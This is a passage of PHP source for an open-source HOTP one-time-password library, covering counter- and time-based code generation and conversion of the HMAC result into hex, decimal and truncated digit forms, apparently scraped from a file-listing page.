 * @license BSD-3-Clause
 * @version 1.0
 */
class HOTP {
    /**
     * Generate a HOTP key based on a counter value (event based HOTP)
     * @param string $key the key to use for hashing
     * @param int $counter the number of attempts represented in this hashing
     * @return HOTPResult a HOTP Result which can be truncated or output
     */
    public static function generateByCounter( string $key, int $counter ): HOTPResult {
        // the counter value can be more than one byte long,
        // so we need to pack it down properly.
        $cur_counter = [ 0, 0, 0, 0, 0, 0, 0, 0 ];
        for ( $i = 7; $i >= 0; $i-- ) {
            $cur_counter[$i] = pack( 'C*', $counter );
            $counter = $counter >> 8;
        }

        $bin_counter = implode( $cur_counter );

        // Pad to 8 chars
        if ( strlen( $bin_counter ) < 8 ) {
            $bin_counter = str_repeat(
                chr(0 ),
                8 - strlen( $bin_counter )
            ) . $bin_counter;
        }

        // HMAC
        $hash = hash_hmac( 'sha1', $bin_counter, $key );

        return new HOTPResult( $hash );
    }

    /**
     * Generate a HOTP key based on a timestamp and window size
     * @param string $key the key to use for hashing
     * @param int $window the size of the window a key is valid for in seconds
     * @param int|false $timestamp a timestamp to calculate for, defaults to time()
     * @return HOTPResult a HOTP Result which can be truncated or output
     */
    public static function generateByTime( string $key, int $window, $timestamp = false ): HOTPResult {
        if ( !$timestamp && $timestamp !== 0 ) {
            // @codeCoverageIgnoreStart
            $timestamp = self::getTime();
            // @codeCoverageIgnoreEnd
        }

        $counter = intval( $timestamp / $window) ;

        return self::generateByCounter( $key, $counter );
    }

    /**
     * Generate a HOTP key collection based on a timestamp and window size
     * all keys that could exist between a start and end time will be included
     * in the returned array
     * @param string $key the key to use for hashing
     * @param int $window the size of the window a key is valid for in seconds
     * @param int $min the minimum window to accept before $timestamp
     * @param int $max the maximum window to accept after $timestamp
     * @param int|false $timestamp a timestamp to calculate for, defaults to time()
     * @return array of HOTPResult
     */
    public static function generateByTimeWindow( string $key, int $window, int $min = -1, int $max = 1, $timestamp = false ): array {
        if ( !$timestamp && $timestamp !== 0 ) {
            // @codeCoverageIgnoreStart
            $timestamp = self::getTime();
            // @codeCoverageIgnoreEnd
        }

        $counter = intval( $timestamp / $window );
        $window = range( $min, $max );

        $out = [];
        foreach ( $window as $value ) {
            $shift_counter = $counter + $value;
            $out[$shift_counter] = self::generateByCounter( $key, $shift_counter );
        }

        return $out;
    }

    /**
     * Gets the current time
     * Ensures we are operating in UTC for the entire framework
     * Restores the timezone on exit.
     * @return int the current time
     * @codeCoverageIgnore
     */
    public static function getTime(): int {
        // PHP's time is always UTC
        return time();
    }
}
HOTPResult.php000066600000004047151335113240007235 0ustar00<?php

namespace jakobo\HOTP;

/**
 * The HOTPResult Class converts an HOTP item to various forms
 * Supported formats include hex, decimal, string, and HOTP

 * @author Jakob Heuser (firstname)@felocity.com
 * @copyright 2011-2020
 * @license BSD-3-Clause
 * @version 1.0
 */
class HOTPResult {
    protected $hash;
    protected $decimal;
    protected $hex;

    /**
     * Build an HOTP Result
     * @param string $value the value to construct with
     * @codeCoverageIgnore
     */
    public function __construct( string $value ) {
        // store raw
        $this->hash = $value;
    }

    /**
     * Returns the string version of the HOTP
     * @return string
     */
    public function toString(): string {
        return $this->hash;
    }

    /**
     * Returns the hex version of the HOTP
     * @return string
     */
    public function toHex(): string {
        if( !$this->hex ) {
            $this->hex = dechex( $this->toDec() );
        }
        return $this->hex;
    }

    /**
     * Returns the decimal version of the HOTP
     * @return int
     */
    public function toDec(): int {
        if( !$this->decimal ) {
            // store calculate decimal
            $hmac_result = [];

            // Convert to decimal
            foreach ( str_split( $this->hash,2 ) as $hex ) {
               $hmac_result[] = hexdec($hex);
            }

            $offset = $hmac_result[19] & 0xf;

            $this->decimal = (
                ( ( $hmac_result[$offset+0] & 0x7f ) << 24 ) |
                ( ( $hmac_result[$offset+1] & 0xff ) << 16 ) |
                ( ( $hmac_result[$offset+2] & 0xff ) << 8 ) |
                ( $hmac_result[$offset+3] & 0xff )
            );
        }
        return $this->decimal;
    }

    /**
     * Returns the truncated decimal form of the HOTP
     * @param int $length the length of the HOTP to return
     * @return string
     */
    public function toHOTP( int $length ): string {
        $str = str_pad( $this->toDec(), $length, "0", STR_PAD_LEFT );
        return substr( $str, ( -1 * $length ) );
    }

}
Back to Directory File Manager